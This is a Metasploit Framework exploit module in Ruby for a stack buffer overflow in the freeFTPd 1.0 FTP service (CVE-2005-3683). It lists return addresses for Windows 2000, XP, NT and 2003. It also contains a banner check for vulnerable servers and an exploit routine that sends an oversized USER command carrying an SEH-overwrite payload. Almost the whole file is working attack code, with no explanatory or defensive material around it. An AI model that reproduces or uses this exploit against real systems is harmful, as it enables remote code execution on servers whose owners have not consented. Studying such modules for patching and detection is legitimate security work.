freeFTPd 1.0 Username Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'freeFTPd 1.0 Username Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the freeFTPd  
multi-protocol file transfer service. This flaw can only be  
exploited when logging has been enabled (non-default).  
  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-3683'],  
[ 'OSVDB', '20909'],  
[ 'BID', '15457'],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[   
'Windows 2000 English ALL',  
{  
'Platform' => 'win',  
'Ret' => 0x75022ac4,  
},  
],  
[   
'Windows XP Pro SP0/SP1 English',  
{  
'Platform' => 'win',  
'Ret' => 0x71aa32ad,  
},  
],  
[   
'Windows NT SP5/SP6a English',  
{  
'Platform' => 'win',  
'Ret' => 0x776a1799,  
},  
],  
[   
'Windows 2003 Server English',  
{  
'Platform' => 'win',  
'Ret' => 0x7ffc0638,  
},  
],   
]))  
end  
  
def check  
connect  
disconnect   
if (banner =~ /freeFTPd 1\.0/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buf = rand_text_english(1816, payload_badchars)  
seh = generate_seh_payload(target.ret)   
buf[1008, seh.length] = seh  
  
send_cmd( ['USER', buf] , false)  
  
handler  
disconnect  
end  
  
end  
`